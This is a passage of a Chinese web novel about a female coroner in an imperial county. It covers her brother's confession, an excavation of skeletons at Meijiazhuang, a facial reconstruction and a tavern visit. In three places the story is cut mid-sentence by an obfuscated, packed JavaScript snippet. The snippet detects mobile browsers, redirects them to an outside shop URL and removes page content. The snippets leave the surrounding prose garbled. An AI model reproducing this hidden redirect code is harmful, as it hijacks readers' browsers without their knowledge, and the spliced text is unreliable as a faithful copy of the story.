城里人每天都是那些鸡零狗碎的事情,一点风吹草动就能说上十天半个月,更别说樊楼门前捞出个死人,茶楼里、书摊上都传遍了,可到昨天也没听见什么风声,直到今天有人看见衙役带着人去认尸了,这下大家伙更好奇了,听说还是个女仵作查出来的! 李大娘一想,这隔壁的苗苗这几天总往县衙跑,别不是女仵作说的就是苗苗啊?这一看见她,赶紧上来打听。 程青每天早出晚归,要不就是待在家里,哪里知道街上传成什么样子,以为她就是好奇,想着也没什么好隐藏的,就直接说了,“破了,今天家属应该就已经把人带回去了。” 李大娘打量了一下程青,才小声说:“我听说这案子是你看的?” “哪能呢?我就是帮着打打下手,主要还是谢大人英明神断,这才破了案子。”程青职业习惯一上来,下意识抬了一手上司。 “也是,你是我看着长大的,你有几分斤两,我还不知道?不过,你现在在县衙里做工也好,一个小姑娘也算找到个靠山,若是能嫁个衙役,后半生也有个指望。”李大娘感慨。 “年纪也不小了,爹妈又都不在了,你可要早早替自己打算好……” 说来说去,竟然又扯到了催婚上,程青顿感头大,赶紧买了饼,付钱,“大娘,我明日还要当值,就先回去了。” “唉你这孩子!等哪日闲了,来我家吃饭!” “知道了!” 逃过了李大娘,又碰到了张婶,程青僵着笑脸应付完相亲的话题,总算回到了家。 唉!到哪都避不开这些糟心事。 凌晨。 一行人敲响了县衙的大门。 “什么人啊?”门子揉了揉眼睛,打着哈欠问。 “快开门,奉大人的命令,我们将程庆带回来了。”衙役大声喊着。 门子开门一看,那跟在衙役身后锁着的不就是程老汉的儿子程庆么? “快,快去通知大人!” 19. 程庆归案 清晨,大街上还有一缕缕的薄雾。 程青踩着初升的朝阳,进了县衙的大门。 “小程仵作,你来了!”一名眼熟的衙役朝程青笑笑,随即眼神往里面撇撇。 程青一愣,忙拉住他,“怎么了?又出什么事了?” 只是短短几天,程青已经体会到,没什么事,这些衙役是不会和自己说话的,最多远远地看着她。可要是上前和她说话,必然是有可以谈论的话题的。 衙役被她扯住衣袖,也不生气,反而诧异地睁大了眼,“你还不知道?你那个哥哥,程庆,抓到了,大人正在里面审呢!” 程庆抓到了?那程老爹的尸首也找到了? 程青快步走向大堂。 大堂内,谢芳衡正站在堂中,低声询问一个跪在地上的男子。 程青弄了一些声响,谢芳衡抬头,看到了她。 转而看向一边的许松航,许松航从箱子里拿出一个小纸夹,又抓着程庆的手,在白纸上印出十个指印… 程青定睛一看,纸夹里不正是自己从青石砖上拓下的指纹印么?谢芳衡问自己要了一份,程青想着自己拍照留一份也是一样的,就给他了,没想到居然最后落到了许松航手里。 许松航拿着两份指纹,在桌上细细比对了一炷香的功夫,才缓缓道:“大人,有几个指纹对得上,另外几个破损太严重,看不出来了。” 谢芳衡点点头,不知道又和程庆说了什么,程青就看见程庆先是浑身一僵,紧接着就开始哭喊着磕头,估摸着是认罪了。 等到一切结束,程青才走上前问,“大人,他可交代了我父亲的尸首在哪?” 自古以来,都讲究一个入土为安,程青也希望早早地安葬了程老爹,让程老爹夫妇在地底下团聚。 “交代了。”谢芳衡看着程青的脸色,斟酌道:“你…” “怎么了?出意外了?他不会忘记了吧?”程青皱眉。 “不,他记得,只是他说,他嫌程伯伯的尸首太重,带着不方便,就半路将他扔到悬崖下了,你先别急,我已经派人去找了,只是,不一定能找回来。”谢芳衡也是无奈,本以为这件事就这么结束了,没想到这程庆居然禽兽道这个地步。 “什么!?”程青大惊,声音都变了形,“扔到悬崖底下?那可是他亲爹!” 一瞬间,这具身体仿佛也听到了这个消息,急剧的喘着粗气,眼泪顺着眼角不自觉地往下淌,连声音里都带了几分哽咽, “他,他怎么可以这么做?怎么可以、可以把父亲…”程青说不下去了,无声地落泪。 谢芳衡见状,心里也不好受,只能拍拍她的肩膀,“事情已经发生了,你要撑住。” “我要见他,”程青抬起头,眼眶通红地看向谢芳衡,“我要当面问问他,他为什么要这么做?他怎么忍心这么做!?” “好,我去安排。”谢芳衡轻声说。 县衙死牢。 比起上次来,这里更冷了。 赵丘替她开了门,程青道了声谢,“我想单独和他谈谈。” “半个时辰,你知道规矩的。” 穿过长长的过道,程青心里想了很多。见了面要说什么?质问他?指责他?可想来想去,脑袋里只剩下小时候,他们一家四口的生活回忆。 这不是我的回忆,这是这具身体的记忆,程青提醒自己。 到了。 同样的位置,同样的时辰,上次是“程青”躺在这里,这次是程庆躺在这里。 “程庆。” 程庆背对着她,身体微不可察地动了一下。 “我知道你听得见,”程青声音平静,“我只有几句话想问问你,” “父亲死得时候,你为什么不救他?” 黑暗处传来一声抽泣。 “父亲死了,你为什么带着父亲的尸首逃跑,为何要把父亲扔到悬崖下?” “……” “父亲把你养到这么大,供你上学,替你还债,到底是什么地方欠了你,你要让他死都不得安宁?” 质问的声音回荡在空旷的黑暗里。 程庆缓缓翻身,站起走到程青面前,两人面面相对,注视着对方通红的眼眶。 “因为你。”他哑着声音。 “我?” “没错!”程庆突然爆发,抓住木栏杆大声嘶喊:“就是因为你!如果不是救你,我怎么会认识那些人?如果不是你,父亲怎么会不愿意替我还债,不过是几百两银子,大不了把铺子卖了!可父亲说,要替你做打算,死都不肯买铺子,我可是他亲生儿子!” “做父亲的,疼一疼儿子怎么了?反正他也救不活了,起码死之前还有个儿子陪在身边呢!可是这是老不死的,临死前都在想着你!” 程庆抹了一把泪,似笑非笑地看着程青, “本来我是可以把他找个地方葬了,可我就是不甘心,凭什么他最偏心你,却还要我来给他下葬?他不是喜欢在外面捡人回来么?我就把他也扔在外面了,看谁敢捡他回去!” 程青看着眼前疯魔的男人,突然心脏传来一阵尖锐的疼痛,程青闷哼一声,咽下喉头的猩甜,看向他:“你可知道,父亲已经和我商量好了,要把铺子卖了,那张你拿走的地契,你以为为什么刚好放在母亲的灵位前?那是因为这个铺子是父亲和母亲一起买的,父亲不想母亲什么也不知道就卖了它,才拿到灵位前解释清楚的!” “你说父亲偏心我?可是你扪心想想,到底哪里偏心我了?因为你是男孩子,家里好的香的,都是先让你来拿,然后其他人再分。那年年景不好,为了让你读书,家里缩衣节食,母亲连药都停了,可你呢?你跑去赌钱,生生把母亲气倒了!” 这些话也许藏在这具身体里已经很久了,程青一想起,总是一股心酸不值。 “若是你还有一点良心,在最后的日子里,就好好地忏悔你的罪过,死了,也不要去扰父母的安宁。” 说完,程青深吸一口气,大步走出黑暗。 搜尸骸的人回来了,说是悬崖深不见底,没法下去,又不知道,是不是早就被山里的野兽啃食了。 程青就坐在班房里,听着屋外衙役的回报。 阳光落在小院里,照在身上暖洋洋的,可她只觉得冷,沁入骨血的冷。 下值后,她就病了,一连数日,病得下不来床。 期间,程庆被流放。在许仵作的帮忙下,众人替程老爹敛了尸骨,做了衣冠冢,和程大娘葬在一起,吹吹打打地办完了丧事。 等到她回到衙门里,已经快要腊月了。 “程仵作,你回来了。” “程姑娘, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13503057|140666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早啊。” 一路走来,遇见的每个人都朝她热情地打招呼,程青温和地笑笑。 “大人呢?”回来第一天,先到谢芳衡那里报道。 知县书房里围着一群人,有铁匠、木匠,还有几个泥瓦匠? 阿满守在门口,示意程青等等,“大人正在忙呢,你稍坐一下。你现在身体好些了么?” “好多了。大人叫这些人过来是?”程青指了指书房。 “上回抄孙成吉的家,才发现原来古羊县的山里有铁矿,这些年一直被他们私下开采,这不是看你用的那个刀很锋利么?大人说试试看能不能也打几把出来,哦,大人出来了。” 谢芳衡走到两人身边,看向程青。今天她穿了一身绿色长袄,外面披了件灰色长披风,毛茸茸的领口衬着她苍白的脸色,显得她更叫娇弱了。 “身体好些了么?”谢芳衡低头看向程青,眸色温和。 “好多了,多谢大人关怀。”程青甜甜一笑。 “那就好,正好我手边有个案子,你跟我过来。”话锋一转,谢芳衡进入工作状态。 程青:“……好。” 这人变脸这么快的么? 班房。 “梅家庄失踪案啊,那可有些年头了。”老书吏的语气里带着回忆,从箱子里找到一本卷宗,舔舔手指,逐页翻开,“长盛十一年,古羊县暴雨连绵,一连下了两个月,山上、山下好多人家都被淹了,死了、丢了的更是不计其数。天灾嘛,哪次都是这样,可是唯独那一年不寻常。” 翻至其中一页,停住,“那年,死亡一百二十六人,失踪了五十六人。可五十六人里有一半的人,都是在灾后失踪了的。” “灾后?”程青皱眉,“也就是说有人在灾后看见他们了?这些人都是什么人?” 程青最先想到的是拐卖人口,古代人口买卖合法,但是管理的却不是很严格,所以经常会有贩子私下买人口,再运到另一处卖掉。 “乡民们说有看见的,也有没看见的,这些人里男女都有,青壮年、姑娘婆子、连刚会走路的孩子都有。”老书吏叹了口气,道:“衙门搜寻了几日,也没有搜到这些人,最后当是失踪处理了。” “那怎么现在又翻出来了?有新的进展了么?” “现在说还为时尚早。”谢芳衡补充道,“前几日,有村民上山打猎,发现一处山涧里,堆满了尸骸,另外还发现了几个孩子,而那个山涧就在原来梅家庄附近。许仵作已经带人过去分辨那些尸骸了,但是具体什么情形,还没有消息。你这边有什么办法?” 程青的验尸技巧很奇特,或许能帮到忙,即使不能,多一个人也多一份力。 “我得先看看尸骨的情况。”程青心头一沉,事情发生已经二十多年,要想通过尸骨来分辨死者的身份,这可不是简单的事。 众所周知,法医可以通过死者的骨盆来推断性别,通过牙齿、颅骨等推断年龄,但是多人尸骸混在一起,仅仅是整理出每个人的骨头就是一件难事,更别说再找到各自的身份。 梅家庄的村民若是还在那还好说,若是没有当年的人,那么即使推断出死者的身份特征,也不能找到对应的人。而且尸骨的情况还不知道,若是裸露在野外的话,这么多年,经过野兽啃食,风霜雨打,留下来能用的也不会有太多。 20. 梅家庄挖尸 一路奔袭,到了梅家庄附近已是下午了。 简单在附近村民家用了饭,程青就赶往了现场。 梅家庄,顾名思义,这个村子以梅花出名,一路上,坍塌的旧址边长满了梅花树。现在还没到开花的季节,形状各异的梅树立在荒野里,一阵寒风吹来,树影绰约,少了一丝风骨,多了一些荒诞。 为了方便,谢芳衡派了两个衙役,付全、付生两兄弟,一路跟着程青,除此之外,还有两个附近的村民,有一个程青还记得,是向家村大丫的爹,向海。 “程姑娘,这边走。”向海在前面用竹刀劈开两边的灌木。 “向大叔,您还记得梅家庄剩下的人去哪了么?”程青小心跟在身后,边走边问。 死者如果还有家属能找到的话,可以通过死者的外形特征来确定身份。另一种,就是尽量从白骨中提取DNA,通过DNA对比,来确定死者的血缘亲属。 只是已经过去二十年了,当年的人还能剩下多少? 向海想了想,“剩下的人,有些逃难去了,有些就在本地找了人家嫁了,还有的都流落到各个村子里。我们村就有几个,都是无儿无女的,攀着亲戚在我们这里住下了。” 程青暗暗记下,这些人后面都要找到,不论怎么样,多一分希望吧。 “就在前面了。”向海拂开茅草,踩出一条路来。 程青走上前,豁然开朗。山林层峦环绕,只在中间留下了一小块盆地,长满了茂密的植被。他们站在半山腰,一道陡峭的斜坡从他们脚下一路滑到盆底。 底下是许松航带着人正在拣骨。 付全、付生两兄弟找了一条路,栓好绳子,顺着斜坡滑下去,程青紧跟其后。 一落地,程青就知道为什么要找衙门过来了。古时是有乱葬岗一说的,所以即便抛尸野外,也并不能确定是谋杀。可眼前众人拣骨的地方,被刨出了一个大坑,尸骨分层级的叠放在土坑里,显然是有逻辑的丢到这里,好在这里植被茂密,尸体大部分被掩埋在地下,没有遭到野兽的啃食。 只是经过了二十年的生物演化,尸体只剩下了森森白骨。 在场的衙役们都听着许松航的指挥,刨土、挖骨、装填。 “许仵作。”程青走上前和许松航打了声招呼。 许松航抬头看了她一眼,没吱声,又低头接着忙了。 大家都在忙着,程青也拿出自己的小箱子,“付全、付生两位大哥,过来帮帮忙。” 程青作为新来的,不好置喙前辈的行事作风,但也不会顺着他的做法,她还是习惯按照从前的工作流程走。 捡过尸骨的人都知道,尸体白骨化之后,骨头之间失去了连接的软组织,会散落一地。这个时候,收集骨头就要非常细心,尤其是掩埋地下的,要小心分离出被砂石土块包裹的小骨块。 这些骨头里,对于能检验出死者身份、死因的还要单独包装。 程青让他们一人在旁记录,另一人为她牵好袋子。这里没有塑料袋,只好暂时用布口袋装着,等回到县衙,再逐一整理。 掏出指北针,记录下死者的方位,按照死者停放的位置,从一个方向开始装捡。先捡小骨头,然后是大骨头。 “付全,袋子里的泥土不要扔了,留着。”程青叮嘱道。 “不是捡尸骨么?怎么土还要?”付全不解。 远处的许岩悄悄竖起耳朵。 程青一边解释,手上不停,“死者虽然已经白骨化了,但若死者是因毒物身亡,那么死者身边的一切物体都有可能找到毒物,哪怕是身下的泥土。” “都过了这么久了,还能找到?”付全瞪大了眼睛。 程青抬起眼皮,笑道:“如果有,就一定能找的到。” 法医是一门讲究客观、严谨的自然科学,有就是有,没有就是没有。法医看到了什么,就说什么。 “你怎么肯定你就能找的到?”许岩忍不住插话,“要是死者是中毒而死,但是你没找到,岂不是误判了?” “所以验尸这门技艺需要不断发展、改进,这次找不到,下次就更努力去找,不能因为技术的落后而踌躇不前。”程青认真道。 先辈们难道会因为找不出死者的原因,就草草结案么?不,他们会总结经验、改进手法,用更加客观、科学的手段再次验证,直到这门技术变得成熟高效。 程青突然手一顿,拿起一块骨骼碎片,放到光亮处,仔细观察。 “怎么了?”付生拿着记录的本子,问。 “死者的舌骨有骨折的痕迹,”程青又在土堆里找了找,“找到了,死者的甲状软骨也有骨折的痕迹。” 这并不能确定死因,但是至少可以确定一点,死者的喉部一定遭受过侵害。 “记下来,二号死者,男,颈部遭受过创伤。” “好。”付生一一记下,随机又抬起头,问:“怎么知道这是男子?就凭借一块骨头?” “当然不仅仅是靠这一块骨头。” 程青跪在地上时间久了,腿有点发麻,干脆站起来休息一会儿,这里面还不清楚埋了多少人呢,注定是个大工程了。 “你知道人有多少块骨头么?” 付全、付生对视一眼,各自在对方眼里看到清澈的空白:“不知道。” “有二百多块。” 程青侧首,许岩从许松航身边走过来,许松航也放下了手里的刷子,静静地听着。 “是的,有二百多块,准确来说,有二百零六块,但这并不是准确的数目,有人天生多一块、少一块也是正常的,只是说大多数人都是二百零六块。” 许松航微微点头,没出声。 “而这些骨头又分为颅骨、躯干骨和四肢骨三大部分。同一种骨头,男人和女人的特征是不一样的。仅拿盆骨来说,你看这块,男性的骨盆,高并且狭窄,上面大,下面小,是一个漏斗的形状。”程青指着面前的这具尸骨说道。 “而刚刚我们收敛的那具尸骨,如果你仔细看,就会发现那个骨盆短而阔,像是一个圆柱,那是一个女性的骨盆。不仅如此,女性的骨盆耻骨联合处若是有凹陷的骨槽,一般我们也会认为是生产过的女子,是女子在生产过程中,耻骨之间的韧带被拉开导致的。” 程青见他们听得仔细,索性科普了一下,虽然以后不一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546026|140666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定会用到就是了。 在场众人都听得迷迷糊糊的,倒是两个仵作听得仔细,连手上的活都放下了。 见状,程青微微一笑:“大家感兴趣的话,有时间我整理出来,放到衙门的班房里,供大家阅读。” 整理这些资料不是什么简单的事,但是一方面可以向大家科普一些法医知识,另一面也巩固了自己的学识,避免自己忘记了。 “那多谢小程仵作了。”众人道谢,虽然不一定会看,但是先谢过再说。 休息完了,程青接着拣骨,遇到二人不解的地方,也会出言解释。一句句凶残而专业的词汇经她的口面带微笑地说出,到最后,徘徊在她身边的就只有付家两兄弟了。 “小程仵作,你懂得真多啊。”付生感慨。 从他手上厚厚一叠记录,就能感觉到程青对验尸这门手艺上的钻研。从前他也和其他仵作干过活,大多数都是记录下挖尸的地点、死者的数量等等,具体的细节都要等回到衙门反复推敲后才能下定夺,而像小程仵作这样在现场就能铁口直断的,就很少见了。 “恩。”付全也默默点头,他身边一大堆装尸骨的口袋,有些他记都记不住,她却不但能记住,还能分辨出是谁的,是哪个部位…… “没办法,吃饭的手艺,自然是孰能生巧,你们见得多了也能做到。” “见多了……”付家两兄弟脸一僵,哂笑:“这就不用了吧,哈哈…” …… 起风了。 簌簌的寒风贯彻山谷,寒鸦歇在树梢上,歪着头看着脚下的黑影们,时不时发出一两声哀鸣。 众人打了个哆嗦,裹紧了外衫,纷纷道: “许仵作,天色不早了,明日再过来吧。” “是啊,今日还得回去,晚了山路不好走啊。” 许松航是这趟的领头人,他不开口,程青一个新来的,也不好出头,只能坐等在一旁,默默翻看着付生的记录。 冬日本来天黑的就早,山谷里更是早早就不见夕阳,光线这么差的环境,勉强拣骨,难免会有遗漏。 许松航也想到了这点,拍拍腿上的灰尘,“今日先回去,明日等大人的命令吧。” 来的时候艰难,回去就快多了,一炷香的功夫,就回到了村里。 程青等人顾不上吃饭,先和赶到这里的谢芳衡说明了情况。 “目前看来,死亡人数超过十人,土层地下掩埋了多少还未可知,若是花费大量的人力在挖尸上,恐怕不妥,且县衙里也不好不留人。”许松航沉吟片刻道。 “程仵作,你看呢?” “我赞同许仵作的看法,与其所有人都在这里挖尸,不如另派一队人马先去查清楚一部分人的死因。这些人同埋在这里不会是巧合,只要查出一个人,拔出萝卜带出泥,其他人的死因也会浮出水面。” 挖尸肯定还是要继续的,不能放任这些人留在荒郊野外,但首先是要查出这些人为什么会被埋在这里。 “从我这边得到的线索来看,其中有两人死于机械性窒息,也就是勒死,至于是自杀还是他杀,我个人倾向于是他杀。” 程青不急不慢道。 22. 樊楼吃酒 傍晚。 天边的红霞,泛着绚丽的光芒,笼罩着这个偏远的小县城,霞光下,芸芸众生安静而祥和,生老病死,秋收冬藏。 县衙内。 一个标准的人类颅骨被放在桌上,桌前程青手持炭笔,一边看着颅骨思索,一边手下刷刷几笔在纸上勾勒出形象。 钱六儿靠在门边和几个门子打赌。 “你说,这程仵作真能画出来死人的脸么?” “那谁知道?咱们也没见过。” “万一要是她猜得不对,又或是画得不像,那我们到时候岂不是白忙活一场?” “我觉得不能吧,之前那几个案子不就是程仵作插手才破了么?刚刚我进去瞅了一眼,那手笔,啧啧。”门子满脸的叹服。 “画得很像?” “瞧您话说的,我又没见过这人,我哪知道像不像?不过,要是你们跟着画像找的话,只要有这个人,保准你一眼就能认出来!” “真的假的?”钱六儿不信,他当差这么多年,又不是没见过通缉犯的画像,有几分像就不得了了。 “这有什么好骗你的,你自个儿进去看一眼不就知道了。”门子钦佩地看向门里的那个女子,一席绿衣,肤色胜雪,眉目清秀,干活又利落,不知道以后要便宜哪家小子咯。 这头,程青放下笔,拿起颅骨仔细端详,所选的这具颅骨是所有颅骨里保存最完整的,没有面部损伤,也没有任何骨骼畸形,主人生前应该是个标致的女子。 过去颅面复原是用针扎在死者样本上,勾连在一起,衡量死者的面部软组织,最后再用泥塑复原出死者的样貌,这些步骤也经常出现在各种刑侦剧中。 不过,有了法医实验室,可以通过CT扫描将一切都数字化,再基于现代人数据库来做整体的复原,这样得到的复原样貌更加科学与准确。 程青也是用这个办法对死者的颅骨进行了复原,复原后的样貌已经存在她的电脑里了,但是还是要根据当地人的样本数据做一些简单的调整。 她身后的书架上还摆放着其他人的样貌图,都是她根据义庄解剖的尸体复原回来的。也是有了一些经验对比,她才开始着手对眼前这个颅骨复原。 程青斟酌着,又在纸上添了几笔,死者年纪不大,十五六岁的样子,面容应该更稚嫩一点,考虑到梅家庄从前的生活标准,可能还有点婴儿肥。 刷刷几笔,一个带着点憨态的小姑娘出现在纸上,天庭饱满,眉骨平缓,眼睛不大不小,鼻头小巧,下巴微微后缩。 程青又照着街上女子的发饰添加了头发,至此,一个生动的形象跃然纸上。 “画得真好哇!”惊叹的声音从身后传来。 程青转头,正是钱六儿。 “钱大哥,你最近不忙了?”程青小心地收好画纸,这些回头都要给县衙的画师拿去临摹,最后张贴到大街小巷。 “大人那边有赵哥跟着,大人说让我看看你这边有什么需要搭把手的?听说你前两天在义庄大闹了一场?”钱六儿睁大了眼睛。 “哪里有大闹了一场,就是有些事情没谈好,后来大家说开了,也就算了。”程青站起来抻了个懒腰,活动了下脖颈。 当时她在义庄需要解剖尸体,本来这件事谢芳衡也是知道的,和义庄看守的人也说好了,哪知等程青架起锅的时候,看守的老汉突然冲出来,不让她把死者放进去。 可是程青若是要做颅骨复原,就得把死者,恩,那样之后,才能得到比较干净的尸骸。好说歹说,那老汉也不让她动手,直到谢芳衡到了,把事情说开,又添了一笔丧葬费,烹饪才进行了下去。 “哦,这些是义庄里死者的画像,烦您张贴到街上,或许会有家属过来认尸。”程青拿出另一份,这是义庄里那些面目全非的死者画像,程青着手补了几笔,也不知道能不能找到家人。 钱六儿接过来一看,一样的画法,他说不出来,总归和以前的那些不一样,看起来就像是活人站到了自己面前。 “成,要真是有人见过,一定能认出来!”钱六儿拿着画像,啧啧称奇。 “那您忙吧,我下值了。”说完,程青拎着自己的小包出了门。 今日领了姚大溺死案的赏钱,她要去樊楼吃酒! 时隔数日,樊楼门前已经淡去了浮尸的阴翳,重新恢复了繁华。门前灯红酒绿,金华河上扁舟艘艘,皆是游玩的百姓。 身处烟火气中,听着街上人谈论着去孤山寺领佛粥,程青才恍然,已经到了腊八。可惜天色已晚,一来一回就赶不上夜里城门关闭,不然还能白嫖一顿斋饭。 门前接待的小二看见程青,眼前一亮,亮着嗓子,“客官,几位啊?” “一位。” “您里边请!” 程青好奇地打量着樊楼内部。 快年下了,樊楼里张灯结彩,楼下大厅里坐满了宾客,觥筹交错,二楼席席珠帘半遮,客人们或交谈、或品茗、或宴宾客,再往上,数面风雅的屏风隔开了大厅的喧哗,包间内人影交错,一时间,程青耳边充斥着人声、丝竹声,好不热闹。 “客官您头回来我们这吧?小人给你找个清净的位置。”小二是个有眼力见的,看程青孤身一人,替她找了个角落里的清净位置。 “一楼就数这里最好,虽然小了点,但是一眼就能看见整个大厅,外边的人也看不到这边。”小二擦了擦本就干净的桌面,替程青挪开凳子。 程青点头致谢,坐下,笑道:“确实是个好位置。” 本来就是个犄角旮旯的地方,面对着大厅,身后就是上二楼的楼梯,用一盆绿植隔开了,若是不注意,都不知道这里还有张桌子。可经小二的口,反而是个好位置了。程青一个人,无意掺和到热闹里去,坐在这里刚刚好。 程青看了看菜单,菜色很美,价格也很美,一道肫掌签就要五十钱…盘算着口袋里的银钱,程青点了一道雕花梅球儿、一道梅肉饼儿,一道炙炊饼,又点了一壶淡口的青梅酒。 都是当季的时鲜,应该不会出错。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565901|140666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>小二招呼着离开,程青坐在角落欣赏着人间富贵,桌下的一个小抽屉引起了程青的注意。拉开一看,里面放了近几个月的邸报。 程青来了兴趣,如今她也算是吃上了皇粮,也该看看朝廷的一些政策。上面提到了北方的游牧民族因冬日粮食短缺,曾在九月三次南下,侵犯大靖边界,戍边将军威侯率大军多次击退来犯之敌,朝廷加封为一品镇国公。 又有东边陈国进京贺皇帝五十寿诞,提出与大靖联姻,结百年之好。 还提到了古羊县县令以不法被劾,朝旨令但暮私己,剥夺官职,发配回乡。 凡此种种,程青看得津津有味。 不多时,酒食奉上。 每道菜分量都不大,用精致的鎏金梅花碗盛着,装酒的酒壶也是造型精美的鎏金百花银瓶。 “客官,这道雕花梅球儿可是我们掌柜从京里请来的老师傅做的,下酒刚刚好!”小二替程青倒了一杯酒,介绍起自家的招牌菜。 程青看向那道雕花梅球儿,青梅腌渍后被雕刻成梅花的形状,浇上蜜,再用红色色素点缀,看起来倒真是像梅花点点。 加了一筷子送入口中,入口酸甜,冰冷的口感仿佛含了一口风雪,浑身透着寒凉。 “您再喝一杯酒。” 程青依言缀了一口酒,青梅酒不似一般的酒带着淡淡的甜苦,反而是温润的甜,冲淡了雕花梅球儿的寒凉,喝完胃里暖暖的。 “好神奇。”程青惊喜地看了一眼这酒。 “这也是那位厨娘所酿,据说是家传的秘方,香而不醉,暖香怡人。”小二骄傲地说,“那您先吃着,我去招呼别的客人。” 小二提着帕子,转身又去前面了。 程青慢慢地品尝着这些消逝在历史长河里的美食,身边歌酒交融,倒是别有一番风味。 “小程仵,程姑娘!” 程青抬头去看,丝幔绸纱之间,阿满正站在楼上朝她挥着手。 “阿满?”程青看着他两手空空,“你家大人也在此?” 阿满指了指楼上包间,“大人有位朋友,路过这里,顺道来探望大人。” “程姑娘,怎么想起来樊楼吃酒了?上次听说来了个新厨娘,酒肆送酒一壶,我叫你来,你都不来。”阿满看向程青的桌子,只有她一人。 “我这不是忙么?再说,我哪吃得起樊楼啊,也就是刚领了赏钱,犒劳一下自己。”程青打趣,“倒是你常常来,连吃带拿的,怕是把你家大人都喂胖了吧!” “大人吃过的山珍海味说出来,有些你都没听过,这些凡酒俗菜,根本进不了大人的眼,混个温饱罢了。”阿满倨傲地说道,即便是古羊县最繁华的酒肆,也丝毫不放在眼里。 程青一想也是,京里什么好酒好菜没有?一个偏远的古羊县尚且如此奢侈,京里怕是龙肝凤胆都能吃得上。 阿满看了一眼程青的位置,“那行,你好好吃着,怕大人叫我,我先上去了。” “行,帮我给大人带个好。”程青笑。 24. 京城客 “这件事牵扯了梅家庄几十口性命,更牵扯了孙成吉一案,恐怕一时得不到你想要的结果。”程青看向何梅,语气轻缓,担心她一下子想不开。 “我明白的,”何梅了然地点点头,“我在李力身边等了这么多年,早就知道这人人面兽心,若要除他,不是一朝一夕的功夫,我等的下去。” 程青松了一口气,“那就好。只是你今日从李府到衙门,恐怕已经引起了李力的惊觉,你…” “可是会打草惊蛇!?”何梅不安,若是因为她,让李力逃了,那她岂不是犯了大罪!? “你先别激动,”程青安抚住她,“本来这事也瞒不过他,我只是担心你,李府你肯定是回不去了,你还有可去之地?” 何梅茫然地看向程青,喃喃道:“可去之地?我不知道。我委身给了李力,梅家庄的人是不会容下我的,我,我…” 她张了张口,发现自己早已无处可去。 程青叹息,“这两日,你先住在我家吧。” 县衙里难免有李力的人,在李力没被清查之前,就连县衙也不安全。 何梅讷讷地点头,“那多谢程姑娘了。” 程青将她暂时安置在自己的班房,叮嘱钱六儿看好她,自己去了谢芳衡的书房。 “进来。” 谢芳衡正伏在案上,翻阅梅家庄的卷宗,听闻程青有事,立刻叫她进来。 “你那个颅骨复原可有结果了?”不等程青开口,谢芳衡先问。 “画像出来了,已经和钱六说了,叫人临了贴大街上。”程青先汇报自己的工作。 谢芳衡看向她的手,眨了眨眼,“画呢?” “啊,我忘记了,你现在要看么?就在我的班房里,我拿给你?”程青一愣,就要去拿。 谢芳衡叫住她,“不急,你能画出来就行。我来的时候听闻有人前来认尸,你把人带过去了?” “恩,来的这个人带来了惊天大消息啊!”程青叹息。 将何梅的事情一股脑地说了,书房里陷入安静。 许久,谢芳衡才开口,“李力的事情现在还不能查,不过,虽然明着不能查,暗中却可以盯着他,这件事你先别管了,若有人问,只管推到我身上。” 程青点头,也不去想到底谁会问,“好,那何梅怎么办?我让她暂时住我那,不会有什么危险吧?” “你那人多口杂,万一走漏了风声,就连你也会有危险。”谢芳衡沉声,“我会给她找个去处,你若是有事找她,就给阿满带个话。” 谢芳衡想到好友给自己带来的消息,心里越发沉重,可是越是这种时候,越是不能急躁。 “你先回去,何梅的事就当没发生过,继续做你的颅骨复原。” 梅家庄的事,按照他们原本的计划,就是先通过一个人破开一个口子,再往下调查。现在口子已经有了,虽然还没有查到骸骨的线索,但是照着计划往下走,一定能掀开更多。 “行。” “对了,你今日下值后,可有空?”谢芳衡叫住她。 程青转身,“下值后?应当没什么事吧?”她这几日除了在实验室里干活,出来了都是在养神。 “那就好,”谢芳衡微微笑,“有件事恐怕要劳烦你了,放心,不论事情成与不成,都会有报酬。” 程青本来只是淡淡地听着,听到“报酬”二字,眼里立马闪起了亮晶晶,“报酬?有多少?” 谢芳衡眼里带着笑意,伸出骨节分明的手掌,“至少这个数。” “五百文?”程青睁大了眼睛, 谢芳衡摇摇头,“五两银。” “五两!”程青咽了咽口水,上次破案的赏钱也就二百文,她吃了一顿酒就没了,这次五两,她能吃几顿酒啊! 不过,她还是问了一句,“不知道是什么事?” “到了晚上,你就知道了。” 五两银子纵然诱人,程青还是很快将它抛诸脑后,全神贯注地忙了一天。 忙起来的时光是飞逝的,很快落日的霞光就铺在了县衙的上空。 程青出门时,谢芳衡已经在门口等着了。 “走吧。” “去哪儿?”程青看了看他身后,这次连阿满也没有带着。 “放心,不会把你卖了。”谢芳衡难得开了个玩笑,也许是下了值,他整个人身上都透露着一股轻快。 